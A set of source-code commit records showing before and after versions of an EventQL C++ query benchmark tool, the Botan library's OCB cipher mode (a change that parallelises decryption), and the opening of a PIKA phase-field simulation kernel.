++errors;\n } else {\n ++requests_sent;\n }\n m.unlock();\n\n print(errors, requests_sent, global_start, stdout_os.get());\n if (errors > kMaxErrors || (has_max && requests_sent >= max_requests)) {\n break;\n }\n }\n\n evql_client_close(client);\n }));\n }\n\n for (auto& t : threads) {\n t.join();\n }\n\n print(errors, requests_sent, global_start, stdout_os.get());\n return 0;\n}\n<commit_msg>benchmark: cleanup<commit_after>\/**\n * Copyright (c) 2016 DeepCortex GmbH <legal@eventql.io>\n * Authors:\n * - Laura Schlimmer <laura@eventql.io>\n *\n * This program is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License (\"the license\") as\n * published by the Free Software Foundation, either version 3 of the License,\n * or any later version.\n *\n * In accordance with Section 7(e) of the license, the licensing of the Program\n * under the license does not imply a trademark license. Therefore any rights,\n * title and interest in our trademarks remain entirely with us.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the license for more details.\n *\n * You can be released from the requirements of the license by purchasing a\n * commercial license. Buying such a license is mandatory as soon as you develop\n * commercial activities involving this program without disclosing the source\n * code of your own applications\n *\/\n#include <stdlib.h>\n#include <unistd.h>\n#include <signal.h>\n#include <poll.h>\n#include <thread>\n#include \"eventql\/eventql.h\"\n#include \"eventql\/util\/application.h\"\n#include \"eventql\/util\/logging.h\"\n#include \"eventql\/util\/UnixTime.h\"\n#include \"eventql\/util\/return_code.h\"\n#include \"eventql\/util\/cli\/CLI.h\"\n#include \"eventql\/util\/io\/inputstream.h\"\n#include \"eventql\/util\/cli\/term.h\"\n#include \"eventql\/util\/cli\/flagparser.h\"\n#include \"eventql\/util\/thread\/threadpool.h\"\n#include \"eventql\/cli\/cli_config.h\"\n\n\nstruct TimeWindow {\n static constexpr auto kMillisPerWindow = 1 * kMillisPerSecond;\n\n TimeWindow() : num_requests_(0) {}\n\n void addRequest() {\n ++num_requests_;\n }\n\n int64_t getRemainingMillis() {\n UnixTime now;\n auto duration = now - start_;\n return kMillisPerWindow - duration.milliseconds();\n }\n\n void clear() {\n num_requests_ = 0;\n UnixTime now;\n start_ = now;\n }\n\nprotected:\n size_t num_requests_;\n UnixTime start_;\n};\n\nstruct RequestStats {\n static constexpr auto kMaxErrors = 10;\n\n RequestStats() :\n failed_requests_(0),\n successful_requests_(0),\n max_requests_(0),\n has_max_(false) {}\n\n void addFailedRequest() {\n ++failed_requests_;\n }\n\n void addSuccessfulRequest() {\n ++successful_requests_;\n }\n\n uint64_t getFailedRequests() {\n return failed_requests_;\n }\n\n uint64_t getSuccessfulRequest() {\n return successful_requests_;\n }\n\n uint64_t getTotal() {\n return successful_requests_ + failed_requests_;\n }\n\n void setMaximumRequests(uint64_t max_requests) {\n max_requests_ = max_requests;\n has_max_ = true;\n }\n\n bool stop() {\n if (failed_requests_ >= kMaxErrors)\n if (!has_max_) {\n return false;\n }\n\n return getTotal() >= max_requests_;\n }\n\nprotected:\n uint64_t failed_requests_;\n uint64_t successful_requests_;\n uint64_t max_requests_;\n bool has_max_;\n};\n\nReturnCode sendQuery(\n const String& query,\n const String& qry_db,\n evql_client_t* client) {\n uint64_t qry_flags = 0;\n if (!qry_db.empty()) {\n qry_flags |= EVQL_QUERY_SWITCHDB;\n }\n\n int rc = evql_query(client, query.c_str(), qry_db.c_str(), qry_flags);\n\n size_t result_ncols;\n if (rc == 0) {\n rc = evql_num_columns(client, &result_ncols);\n }\n\n while (rc >= 0) {\n const char** fields;\n size_t* field_lens;\n rc = evql_fetch_row(client, &fields, &field_lens);\n if (rc < 1) {\n break;\n }\n }\n\n evql_client_releasebuffers(client);\n\n if (rc == -1) {\n return ReturnCode::error(\"EIOERROR\", evql_client_geterror(client));\n } else {\n return ReturnCode::success();\n }\n\n}\n\nvoid print(\n size_t num_errors,\n size_t num_succes,\n UnixTime start,\n OutputStream* stdout_os) {\n UnixTime now;\n auto duration = now - start;\n stdout_os->write(StringUtil::format(\n \"total successful error milliseconds\\n\"\n \" $0 $1 $2 $3\\n\\n\",\n num_errors + num_succes,\n num_succes,\n num_errors,\n duration.milliseconds()\n ));\n}\n\nint main(int argc, const char** argv) {\n cli::FlagParser flags;\n\n flags.defineFlag(\n \"help\",\n cli::FlagParser::T_SWITCH,\n false,\n \"?\",\n NULL,\n \"help\",\n \"<help>\");\n\n flags.defineFlag(\n \"version\",\n cli::FlagParser::T_SWITCH,\n false,\n \"v\",\n NULL,\n \"print version\",\n \"<switch>\");\n\n flags.defineFlag(\n \"host\",\n cli::FlagParser::T_STRING,\n false,\n \"h\",\n NULL,\n \"eventql server hostname\",\n \"<host>\");\n\n flags.defineFlag(\n \"port\",\n cli::FlagParser::T_INTEGER,\n false,\n \"p\",\n NULL,\n \"eventql server port\",\n \"<port>\");\n\n flags.defineFlag(\n \"database\",\n cli::FlagParser::T_STRING,\n false,\n \"d\",\n NULL,\n \"database\",\n \"<db>\");\n\n flags.defineFlag(\n \"query\",\n cli::FlagParser::T_STRING,\n true,\n \"q\",\n NULL,\n \"query str\",\n \"<query>\");\n\n flags.defineFlag(\n \"threads\",\n cli::FlagParser::T_INTEGER,\n false,\n \"t\",\n \"10\",\n \"number of threads\",\n \"<threads>\");\n\n flags.defineFlag(\n \"rate\",\n cli::FlagParser::T_INTEGER,\n false,\n \"r\",\n \"1\",\n \"number of requests per second\",\n \"<rate>\");\n\n flags.defineFlag(\n \"max\",\n cli::FlagParser::T_INTEGER,\n false,\n \"n\",\n NULL,\n \"number of requests per second\",\n \"<rate>\");\n\n flags.defineFlag(\n \"loglevel\",\n cli::FlagParser::T_STRING,\n false,\n NULL,\n \"INFO\",\n \"loglevel\",\n \"<level>\");\n\n flags.parseArgv(argc, argv);\n Vector<String> cmd_argv = flags.getArgv();\n Logger::get()->setMinimumLogLevel(\n strToLogLevel(flags.getString(\"loglevel\")));\n\n Application::init();\n Application::logToStderr(\"evqlbenchmark\");\n auto stdin_is = InputStream::getStdin();\n auto stdout_os = OutputStream::getStdout();\n auto stderr_os = OutputStream::getStderr();\n\n bool print_help = flags.isSet(\"help\");\n bool print_version = flags.isSet(\"version\");\n if (print_version || print_help) {\n auto stdout_os = OutputStream::getStdout();\n stdout_os->write(\n StringUtil::format(\n \"EventQL $0 ($1)\\n\"\n \"Copyright (c) 2016, DeepCortex GmbH. All rights reserved.\\n\\n\",\n eventql::kVersionString,\n eventql::kBuildID));\n }\n\n if (print_version) {\n return 1;\n }\n\n if (print_help) {\n stdout_os->write(\n \"Usage: $ evqlbenchmark [OPTIONS] <command> [<args>]\\n\\n\"\n \" -D, --database <db> Select a database\\n\"\n \" -h, --host <hostname> Set the EventQL server hostname\\n\"\n \" -p, --port <port> Set the EventQL server port\\n\"\n \" -?, --help <topic> Display a command's help text and exit\\n\"\n \" -v, --version Display the version of this binary and exit\\n\\n\"\n \"evqlbenchmark commands:\\n\"\n );\n return 1;\n }\n\n logInfo(\"evqlbenchmark\", \"starting benchmark\");\n \/* options *\/\n eventql::ProcessConfigBuilder cfg_builder;\n {\n auto status = cfg_builder.loadDefaultConfigFile(\"evql\");\n if (!status.isSuccess()) {\n logFatal(\"evqlbenchmark\", \"error while loading config file %s\", status.message());\n return 0;\n }\n }\n\n if (flags.isSet(\"host\")) {\n cfg_builder.setProperty(\"evql\", \"host\", flags.getString(\"host\"));\n }\n\n if (flags.isSet(\"port\")) {\n cfg_builder.setProperty(\n \"evql\",\n \"port\",\n StringUtil::toString(flags.getInt(\"port\")));\n }\n\n if (flags.isSet(\"database\")) {\n cfg_builder.setProperty(\"evql\", \"database\", flags.getString(\"database\"));\n }\n\n eventql::cli::CLIConfig cfg(cfg_builder.getConfig());\n\n\n String qry_db;\n if (flags.isSet(\"database\")) {\n qry_db = flags.getString(\"database\");\n }\n\n auto qry_str = flags.getString(\"query\");\n auto rate = flags.getInt(\"rate\");\n\n const UnixTime global_start;\n\n std::mutex m;\n TimeWindow twindow;\n\n RequestStats rstats;\n if (flags.isSet(\"max\")) {\n rstats.setMaximumRequests(flags.getInt(\"max\"));\n }\n\n auto num_threads = flags.getInt(\"threads\");\n Vector<std::thread> threads;\n for (size_t i = 0; i < num_threads; ++i) {\n threads.emplace_back(std::thread([&] () {\n\n \/* connect to eventql client *\/\n auto client = evql_client_init();\n if (!client) {\n logFatal(\"evqlbenchmark\", \"can't initialize eventql client\");\n return 0;\n }\n\n {\n auto rc = evql_client_connect(\n client,\n cfg.getHost().c_str(),\n cfg.getPort(),\n 0);\n\n if (rc < 0) {\n logFatal(\"evqlbenchmark\", \"can't connect to eventql client: $0\", evql_client_geterror(client));\n return 0;\n }\n }\n\n for (;;) {\n m.lock();\n \/* check remaining time in current timewindow *\/\n if (twindow.getRemainingMillis() <= 0) {\n \/* start a new timewindow *\/\n twindow.clear();\n m.unlock();\n continue;\n }\n m.unlock();\n\n \/* send query *\/\n auto rc = sendQuery(qry_str, qry_db, client);\n m.lock();\n if (!rc.isSuccess()) {\n logFatal(\"evqlbenchmark\", \"executing query failed: $0\", rc.getMessage());\n rstats.addFailedRequest();\n } else {\n rstats.addSuccessfulRequest();\n }\n m.unlock();\n\n \/\/print(errors, requests_sent, global_start, stdout_os.get());\n if (rstats.stop()) {\n break;\n }\n }\n\n evql_client_close(client);\n }));\n }\n\n for (auto& t : threads) {\n t.join();\n }\n\n \/\/print(errors, requests_sent, global_start, stdout_os.get());\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n* OCB Mode\n* (C) 2013 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#include <botan\/ocb.h>\n#include <botan\/cmac.h>\n#include <botan\/internal\/xor_buf.h>\n#include <botan\/internal\/bit_ops.h>\n#include <algorithm>\n\n#include <botan\/hex.h>\n#include <iostream>\n\nnamespace Botan {\n\n\/\/ Has to be in Botan namespace so unique_ptr can reference it\nclass L_computer\n {\n public:\n L_computer(const BlockCipher& cipher)\n {\n m_L_star.resize(cipher.block_size());\n cipher.encrypt(m_L_star);\n m_L_dollar = poly_double(star());\n m_L.push_back(poly_double(dollar()));\n }\n\n const secure_vector<byte>& star() const { return m_L_star; }\n\n const secure_vector<byte>& dollar() const { return m_L_dollar; }\n\n const secure_vector<byte>& operator()(size_t i) const { return get(i); }\n\n const secure_vector<byte>& get(size_t i) const\n {\n while(m_L.size() <= i)\n m_L.push_back(poly_double(m_L.back()));\n\n return m_L.at(i);\n }\n\n private:\n secure_vector<byte> poly_double(const secure_vector<byte>& in) const\n {\n return CMAC::poly_double(in, 0x87);\n }\n\n secure_vector<byte> m_L_dollar, m_L_star;\n mutable std::vector<secure_vector<byte>> m_L;\n };\n\n#if 0\nclass Nonce_State\n {\n public:\n secure_vector<byte> update_nonce(const byte nonce[], size_t nonce_len);\n\n bool fresh_nonce() { bool b = false; std::swap(b, m_fresh); return b; }\n private:\n secure_vector<byte> m_stretch;\n bool m_fresh = false;\n };\n#endif\n\nnamespace {\n\n\/*\n* OCB's HASH\n*\/\nsecure_vector<byte> ocb_hash(const L_computer& L,\n const BlockCipher& cipher,\n const byte ad[], size_t ad_len)\n {\n const size_t BS = cipher.block_size();\n\n secure_vector<byte> sum(BS);\n secure_vector<byte> offset(BS);\n\n secure_vector<byte> buf(BS);\n\n const size_t ad_blocks = (ad_len \/ BS);\n const size_t ad_remainder = (ad_len % BS);\n\n for(size_t i = 0; i != ad_blocks; ++i)\n {\n \/\/ this loop could run in parallel\n offset ^= L(ctz(i+1));\n\n buf = offset;\n xor_buf(&buf[0], &ad[BS*i], BS);\n\n cipher.encrypt(buf);\n\n sum ^= buf;\n }\n\n if(ad_remainder)\n {\n offset ^= L.star();\n\n buf = offset;\n xor_buf(&buf[0], &ad[BS*ad_blocks], ad_remainder);\n buf[ad_len % BS] ^= 0x80;\n\n cipher.encrypt(buf);\n\n sum ^= buf;\n }\n\n return sum;\n }\n\n}\n\nOCB_Mode::OCB_Mode(BlockCipher* cipher, size_t tag_size, bool decrypting) :\n Buffered_Filter(cipher->parallel_bytes(), decrypting ? tag_size : 0),\n m_cipher(cipher), m_tag_size(tag_size),\n m_ad_hash(BS), m_offset(BS), m_checksum(BS)\n {\n if(m_cipher->block_size() != BS)\n throw std::invalid_argument(\"OCB requires a 128 bit cipher so cannot be used with \" +\n m_cipher->name());\n\n if(m_tag_size != 16) \/\/ 64, 96 bits also supported\n throw std::invalid_argument(\"OCB cannot produce a \" + std::to_string(m_tag_size) +\n \" byte tag\");\n\n }\n\nOCB_Mode::~OCB_Mode() { \/* for unique_ptr destructor *\/ }\n\nbool OCB_Mode::valid_keylength(size_t n) const\n {\n return m_cipher->valid_keylength(n);\n }\n\nstd::string OCB_Mode::name() const\n {\n return m_cipher->name() + \"\/OCB\"; \/\/ include tag size\n }\n\nvoid OCB_Mode::set_key(const SymmetricKey& key)\n {\n m_cipher->set_key(key);\n m_L.reset(new L_computer(*m_cipher));\n }\n\nvoid OCB_Mode::set_nonce(const byte nonce[], size_t nonce_len)\n {\n if(!valid_iv_length(nonce_len))\n throw Invalid_IV_Length(name(), nonce_len);\n\n byte bottom;\n secure_vector<byte> stretch;\n\n if(1) \/\/ need to recompute stretch (save iv to compare)\n {\n secure_vector<byte> buf(BS);\n\n const size_t offset = BS - nonce_len;\n\n copy_mem(&buf[offset], nonce, nonce_len);\n buf[offset-1] = 1;\n\n bottom = buf[15] & 0x3F;\n buf[15] &= 0xC0;\n\n m_cipher->encrypt(buf);\n\n for(size_t i = 0; i != 8; ++i)\n buf.push_back(buf[i] ^ buf[i+1]);\n\n stretch = buf;\n }\n\n \/\/ now set the offset from stretch and bottom\n\n const size_t shift_bytes = bottom \/ 8;\n const size_t shift_bits = bottom % 8;\n\n for(size_t i = 0; i != BS; ++i)\n {\n m_offset[i] = (stretch[i+shift_bytes] << shift_bits);\n m_offset[i] |= (stretch[i+shift_bytes+1] >> (8-shift_bits));\n }\n }\n\nvoid OCB_Mode::start_msg()\n {\n \/\/BOTAN_ASSERT(m_nonce_state.fresh_nonce(), \"Nonce state is fresh\");\n }\n\nvoid OCB_Mode::set_associated_data(const byte ad[], size_t ad_len)\n {\n m_ad_hash = ocb_hash(*m_L, *m_cipher, &ad[0], ad_len);\n }\n\nvoid OCB_Mode::write(const byte input[], size_t length)\n {\n Buffered_Filter::write(input, length);\n }\n\nvoid OCB_Mode::end_msg()\n {\n Buffered_Filter::end_msg();\n }\n\nvoid OCB_Encryption::buffered_block(const byte input[], size_t input_length)\n {\n BOTAN_ASSERT(input_length % BS == 0, \"Input length is an even number of blocks\");\n\n const size_t blocks = input_length \/ BS;\n\n const size_t par_bytes = m_cipher->parallel_bytes();\n\n BOTAN_ASSERT(par_bytes % BS == 0, \"Cipher is parallel in full blocks\");\n\n const size_t par_blocks = par_bytes \/ BS;\n\n const L_computer& L = *m_L; \/\/ convenient name\n\n secure_vector<byte> ctext_buf(par_bytes);\n secure_vector<byte> csum_accum(par_bytes);\n secure_vector<byte> offsets(par_bytes);\n\n size_t blocks_left = blocks;\n\n while(blocks_left)\n {\n const size_t to_proc = std::min(blocks_left, par_blocks);\n const size_t proc_bytes = to_proc * BS;\n\n xor_buf(&csum_accum[0], &input[0], proc_bytes);\n\n for(size_t i = 0; i != to_proc; ++i)\n {\n m_offset ^= L(ctz(++m_block_index));\n copy_mem(&offsets[BS*i], &m_offset[0], BS);\n }\n\n copy_mem(&ctext_buf[0], &input[0], proc_bytes);\n\n ctext_buf ^= offsets;\n m_cipher->encrypt(ctext_buf);\n ctext_buf ^= offsets;\n\n send(ctext_buf, proc_bytes);\n\n input += proc_bytes;\n blocks_left -= to_proc;\n }\n\n \/\/ fold into checksum\n for(size_t i = 0; i != csum_accum.size(); ++i)\n m_checksum[i % BS] ^= csum_accum[i];\n }\n\nvoid OCB_Encryption::buffered_final(const byte input[], size_t input_length)\n {\n if(input_length >= BS)\n {\n const size_t final_blocks = input_length \/ BS;\n const size_t final_bytes = final_blocks * BS;\n buffered_block(input, final_bytes);\n input += final_bytes;\n input_length -= final_bytes;\n }\n\n if(input_length)\n {\n BOTAN_ASSERT(input_length < BS, \"Only a partial block left\");\n\n xor_buf(&m_checksum[0], &input[0], input_length);\n m_checksum[input_length] ^= 0x80;\n\n m_offset ^= m_L->star(); \/\/ Offset_*\n\n secure_vector<byte> buf(BS);\n m_cipher->encrypt(m_offset, buf);\n xor_buf(&buf[0], &input[0], input_length);\n\n send(buf, input_length); \/\/ final ciphertext\n }\n\n \/\/ now compute the tag\n secure_vector<byte> mac = m_offset;\n mac ^= m_checksum;\n mac ^= m_L->dollar();\n\n m_cipher->encrypt(mac);\n\n mac ^= m_ad_hash;\n\n send(mac);\n\n zeroise(m_checksum);\n zeroise(m_offset);\n m_block_index = 0;\n }\n\nvoid OCB_Decryption::buffered_block(const byte input[], size_t input_length)\n {\n BOTAN_ASSERT(input_length % BS == 0, \"Input length is an even number of blocks\");\n\n const size_t blocks = input_length \/ BS;\n\n const L_computer& L = *m_L;\n\n secure_vector<byte> ptext_buf(BS);\n\n for(size_t i = 0; i != blocks; ++i)\n {\n \/\/ could run in parallel\n\n m_offset ^= L(ctz(++m_block_index));\n\n ptext_buf = m_offset;\n xor_buf(&ptext_buf[0], &input[BS*i], BS);\n m_cipher->decrypt(ptext_buf);\n ptext_buf ^= m_offset;\n\n send(ptext_buf);\n m_checksum ^= ptext_buf;\n }\n }\n\nvoid OCB_Decryption::buffered_final(const byte input[], size_t input_length)\n {\n BOTAN_ASSERT(input_length >= m_tag_size, \"We have the tag\");\n\n const byte* included_tag = &input[input_length-m_tag_size];\n input_length -= m_tag_size;\n\n if(input_length >= BS)\n {\n const size_t final_blocks = input_length \/ BS;\n const size_t final_bytes = final_blocks * BS;\n buffered_block(input, final_bytes);\n input += final_bytes;\n input_length -= final_bytes;\n }\n\n if(input_length)\n {\n BOTAN_ASSERT(input_length < BS, \"Only a partial block left\");\n\n m_offset ^= m_L->star(); \/\/ Offset_*\n\n secure_vector<byte> buf(BS);\n m_cipher->encrypt(m_offset, buf); \/\/ P_*\n\n xor_buf(&buf[0], &input[0], input_length);\n\n xor_buf(&m_checksum[0], &buf[0], input_length);\n m_checksum[input_length] ^= 0x80;\n\n send(buf, input_length); \/\/ final plaintext\n }\n\n \/\/ now compute the tag\n secure_vector<byte> mac = m_offset;\n mac ^= m_checksum;\n mac ^= m_L->dollar();\n\n m_cipher->encrypt(mac);\n\n mac ^= m_ad_hash;\n\n zeroise(m_checksum);\n zeroise(m_offset);\n m_block_index = 0;\n\n if(!same_mem(&mac[0], included_tag, m_tag_size))\n throw Integrity_Failure(\"OCB tag check failed\");\n }\n\n}\n<commit_msg>Parallel OCB decryption<commit_after>\/*\n* OCB Mode\n* (C) 2013 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#include <botan\/ocb.h>\n#include <botan\/cmac.h>\n#include <botan\/internal\/xor_buf.h>\n#include <botan\/internal\/bit_ops.h>\n#include <algorithm>\n\n#include <botan\/hex.h>\n#include <iostream>\n\nnamespace Botan {\n\n\/\/ Has to be in Botan namespace so unique_ptr can reference it\nclass L_computer\n {\n public:\n L_computer(const BlockCipher& cipher)\n {\n m_L_star.resize(cipher.block_size());\n cipher.encrypt(m_L_star);\n m_L_dollar = poly_double(star());\n m_L.push_back(poly_double(dollar()));\n }\n\n const secure_vector<byte>& star() const { return m_L_star; }\n\n const secure_vector<byte>& dollar() const { return m_L_dollar; }\n\n const secure_vector<byte>& operator()(size_t i) const { return get(i); }\n\n const secure_vector<byte>& get(size_t i) const\n {\n while(m_L.size() <= i)\n m_L.push_back(poly_double(m_L.back()));\n\n return m_L.at(i);\n }\n\n private:\n secure_vector<byte> poly_double(const secure_vector<byte>& in) const\n {\n return CMAC::poly_double(in, 0x87);\n }\n\n secure_vector<byte> m_L_dollar, m_L_star;\n mutable std::vector<secure_vector<byte>> m_L;\n };\n\n#if 0\nclass Nonce_State\n {\n public:\n secure_vector<byte> update_nonce(const byte nonce[], size_t nonce_len);\n\n bool fresh_nonce() { bool b = false; std::swap(b, m_fresh); return b; }\n private:\n secure_vector<byte> m_stretch;\n bool m_fresh = false;\n };\n#endif\n\nnamespace {\n\n\/*\n* OCB's HASH\n*\/\nsecure_vector<byte> ocb_hash(const L_computer& L,\n const BlockCipher& cipher,\n const byte ad[], size_t ad_len)\n {\n const size_t BS = cipher.block_size();\n\n secure_vector<byte> sum(BS);\n secure_vector<byte> offset(BS);\n\n secure_vector<byte> buf(BS);\n\n const size_t ad_blocks = (ad_len \/ BS);\n const size_t ad_remainder = (ad_len % BS);\n\n for(size_t i = 0; i != ad_blocks; ++i)\n {\n \/\/ this loop could run in parallel\n offset ^= L(ctz(i+1));\n\n buf = offset;\n xor_buf(&buf[0], &ad[BS*i], BS);\n\n cipher.encrypt(buf);\n\n sum ^= buf;\n }\n\n if(ad_remainder)\n {\n offset ^= L.star();\n\n buf = offset;\n xor_buf(&buf[0], &ad[BS*ad_blocks], ad_remainder);\n buf[ad_len % BS] ^= 0x80;\n\n cipher.encrypt(buf);\n\n sum ^= buf;\n }\n\n return sum;\n }\n\n}\n\nOCB_Mode::OCB_Mode(BlockCipher* cipher, size_t tag_size, bool decrypting) :\n Buffered_Filter(cipher->parallel_bytes(), decrypting ? tag_size : 0),\n m_cipher(cipher), m_tag_size(tag_size),\n m_ad_hash(BS), m_offset(BS), m_checksum(BS)\n {\n if(m_cipher->block_size() != BS)\n throw std::invalid_argument(\"OCB requires a 128 bit cipher so cannot be used with \" +\n m_cipher->name());\n\n if(m_tag_size != 16) \/\/ 64, 96 bits also supported\n throw std::invalid_argument(\"OCB cannot produce a \" + std::to_string(m_tag_size) +\n \" byte tag\");\n\n }\n\nOCB_Mode::~OCB_Mode() { \/* for unique_ptr destructor *\/ }\n\nbool OCB_Mode::valid_keylength(size_t n) const\n {\n return m_cipher->valid_keylength(n);\n }\n\nstd::string OCB_Mode::name() const\n {\n return m_cipher->name() + \"\/OCB\"; \/\/ include tag size\n }\n\nvoid OCB_Mode::set_key(const SymmetricKey& key)\n {\n m_cipher->set_key(key);\n m_L.reset(new L_computer(*m_cipher));\n }\n\nvoid OCB_Mode::set_nonce(const byte nonce[], size_t nonce_len)\n {\n if(!valid_iv_length(nonce_len))\n throw Invalid_IV_Length(name(), nonce_len);\n\n byte bottom;\n secure_vector<byte> stretch;\n\n if(1) \/\/ need to recompute stretch (save iv to compare)\n {\n secure_vector<byte> buf(BS);\n\n const size_t offset = BS - nonce_len;\n\n copy_mem(&buf[offset], nonce, nonce_len);\n buf[offset-1] = 1;\n\n bottom = buf[15] & 0x3F;\n buf[15] &= 0xC0;\n\n m_cipher->encrypt(buf);\n\n for(size_t i = 0; i != 8; ++i)\n buf.push_back(buf[i] ^ buf[i+1]);\n\n stretch = buf;\n }\n\n \/\/ now set the offset from stretch and bottom\n\n const size_t shift_bytes = bottom \/ 8;\n const size_t shift_bits = bottom % 8;\n\n for(size_t i = 0; i != BS; ++i)\n {\n m_offset[i] = (stretch[i+shift_bytes] << shift_bits);\n m_offset[i] |= (stretch[i+shift_bytes+1] >> (8-shift_bits));\n }\n }\n\nvoid OCB_Mode::start_msg()\n {\n \/\/BOTAN_ASSERT(m_nonce_state.fresh_nonce(), \"Nonce state is fresh\");\n }\n\nvoid OCB_Mode::set_associated_data(const byte ad[], size_t ad_len)\n {\n m_ad_hash = ocb_hash(*m_L, *m_cipher, &ad[0], ad_len);\n }\n\nvoid OCB_Mode::write(const byte input[], size_t length)\n {\n Buffered_Filter::write(input, length);\n }\n\nvoid OCB_Mode::end_msg()\n {\n Buffered_Filter::end_msg();\n }\n\nvoid OCB_Encryption::buffered_block(const byte input[], size_t input_length)\n {\n BOTAN_ASSERT(input_length % BS == 0, \"Input length is an even number of blocks\");\n\n const size_t blocks = input_length \/ BS;\n\n const size_t par_bytes = m_cipher->parallel_bytes();\n\n BOTAN_ASSERT(par_bytes % BS == 0, \"Cipher is parallel in full blocks\");\n\n const size_t par_blocks = par_bytes \/ BS;\n\n const L_computer& L = *m_L; \/\/ convenient name\n\n secure_vector<byte> ctext_buf(par_bytes);\n secure_vector<byte> csum_accum(par_bytes);\n secure_vector<byte> offsets(par_bytes);\n\n size_t blocks_left = blocks;\n\n while(blocks_left)\n {\n const size_t to_proc = std::min(blocks_left, par_blocks);\n const size_t proc_bytes = to_proc * BS;\n\n xor_buf(&csum_accum[0], &input[0], proc_bytes);\n\n for(size_t i = 0; i != to_proc; ++i)\n {\n m_offset ^= L(ctz(++m_block_index));\n copy_mem(&offsets[BS*i], &m_offset[0], BS);\n }\n\n copy_mem(&ctext_buf[0], &input[0], proc_bytes);\n\n ctext_buf ^= offsets;\n m_cipher->encrypt(ctext_buf);\n ctext_buf ^= offsets;\n\n send(ctext_buf, proc_bytes);\n\n input += proc_bytes;\n blocks_left -= to_proc;\n }\n\n \/\/ fold into checksum\n for(size_t i = 0; i != csum_accum.size(); ++i)\n m_checksum[i % BS] ^= csum_accum[i];\n }\n\nvoid OCB_Encryption::buffered_final(const byte input[], size_t input_length)\n {\n if(input_length >= BS)\n {\n const size_t final_blocks = input_length \/ BS;\n const size_t final_bytes = final_blocks * BS;\n buffered_block(input, final_bytes);\n input += final_bytes;\n input_length -= final_bytes;\n }\n\n if(input_length)\n {\n BOTAN_ASSERT(input_length < BS, \"Only a partial block left\");\n\n xor_buf(&m_checksum[0], &input[0], input_length);\n m_checksum[input_length] ^= 0x80;\n\n m_offset ^= m_L->star(); \/\/ Offset_*\n\n secure_vector<byte> buf(BS);\n m_cipher->encrypt(m_offset, buf);\n xor_buf(&buf[0], &input[0], input_length);\n\n send(buf, input_length); \/\/ final ciphertext\n }\n\n \/\/ now compute the tag\n secure_vector<byte> mac = m_offset;\n mac ^= m_checksum;\n mac ^= m_L->dollar();\n\n m_cipher->encrypt(mac);\n\n mac ^= m_ad_hash;\n\n send(mac);\n\n zeroise(m_checksum);\n zeroise(m_offset);\n m_block_index = 0;\n }\n\nvoid OCB_Decryption::buffered_block(const byte input[], size_t input_length)\n {\n BOTAN_ASSERT(input_length % BS == 0, \"Input length is an even number of blocks\");\n\n const size_t blocks = input_length \/ BS;\n\n const size_t par_bytes = m_cipher->parallel_bytes();\n\n BOTAN_ASSERT(par_bytes % BS == 0, \"Cipher is parallel in full blocks\");\n\n const size_t par_blocks = par_bytes \/ BS;\n\n const L_computer& L = *m_L; \/\/ convenient name\n\n secure_vector<byte> ptext_buf(par_bytes);\n secure_vector<byte> csum_accum(par_bytes);\n secure_vector<byte> offsets(par_bytes);\n\n size_t blocks_left = blocks;\n\n while(blocks_left)\n {\n const size_t to_proc = std::min(blocks_left, par_blocks);\n const size_t proc_bytes = to_proc * BS;\n\n for(size_t i = 0; i != to_proc; ++i)\n {\n m_offset ^= L(ctz(++m_block_index));\n copy_mem(&offsets[BS*i], &m_offset[0], BS);\n }\n\n copy_mem(&ptext_buf[0], &input[0], proc_bytes);\n\n ptext_buf ^= offsets;\n m_cipher->decrypt(ptext_buf);\n ptext_buf ^= offsets;\n\n xor_buf(&csum_accum[0], &ptext_buf[0], proc_bytes);\n\n send(ptext_buf, proc_bytes);\n\n input += proc_bytes;\n blocks_left -= to_proc;\n }\n\n \/\/ fold into checksum\n for(size_t i = 0; i != csum_accum.size(); ++i)\n m_checksum[i % BS] ^= csum_accum[i];\n }\n\nvoid OCB_Decryption::buffered_final(const byte input[], size_t input_length)\n {\n BOTAN_ASSERT(input_length >= m_tag_size, \"We have the tag\");\n\n const byte* included_tag = &input[input_length-m_tag_size];\n input_length -= m_tag_size;\n\n if(input_length >= BS)\n {\n const size_t final_blocks = input_length \/ BS;\n const size_t final_bytes = final_blocks * BS;\n buffered_block(input, final_bytes);\n input += final_bytes;\n input_length -= final_bytes;\n }\n\n if(input_length)\n {\n BOTAN_ASSERT(input_length < BS, \"Only a partial block left\");\n\n m_offset ^= m_L->star(); \/\/ Offset_*\n\n secure_vector<byte> buf(BS);\n m_cipher->encrypt(m_offset, buf); \/\/ P_*\n\n xor_buf(&buf[0], &input[0], input_length);\n\n xor_buf(&m_checksum[0], &buf[0], input_length);\n m_checksum[input_length] ^= 0x80;\n\n send(buf, input_length); \/\/ final plaintext\n }\n\n \/\/ now compute the tag\n secure_vector<byte> mac = m_offset;\n mac ^= m_checksum;\n mac ^= m_L->dollar();\n\n m_cipher->encrypt(mac);\n\n mac ^= m_ad_hash;\n\n zeroise(m_checksum);\n zeroise(m_offset);\n m_block_index = 0;\n\n if(!same_mem(&mac[0], included_tag, m_tag_size))\n throw Integrity_Failure(\"OCB tag check failed\");\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************\/\n\/* PIKA - Phase field snow micro-structure model *\/\n\/* *\/\n\/* Prepared by Battelle Energy Alliance, LLC *\/\n\/* Under Contract No. DE-AC07-05ID14517 *\/\n\/* With the U. S. Department of Energy *\/\n\/* *\/\n\/* See COPYRIGHT for full restrictions *\/\n\/****************************************************************\/\n\n#include \"PhaseTransition.h\"\n#include \"AirProperties.h\"\n\ntemplate<>\nInputParameters validParams<PhaseTransition>()\n{\n InputParameters params = validParams<ACBulk>();\n params += validParams<CoefficientKernelInterface>();\n params.addRequiredCoupledVar(\"chemical_potential\", \"The chemical potential variable to couple\");\n params.addParam<std::string>(\"lambda\", \"lambda\", \"The name of the material property containing the definition of lambda\");\n params.addParam<std::string>(\"equilibrium_concentration\", \"equilibrium_concentration\", \"The name of the material property containing the equilibrium concentration\");\n\n return params;\n}\n\nPhaseTransition::PhaseTransition(const std::string & name, InputParameters parameters) :\n ACBulk(name, parameters),\n PropertyUserObjectInterface(name, parameters),\n CoefficientKernelInterface(name, parameters),\n 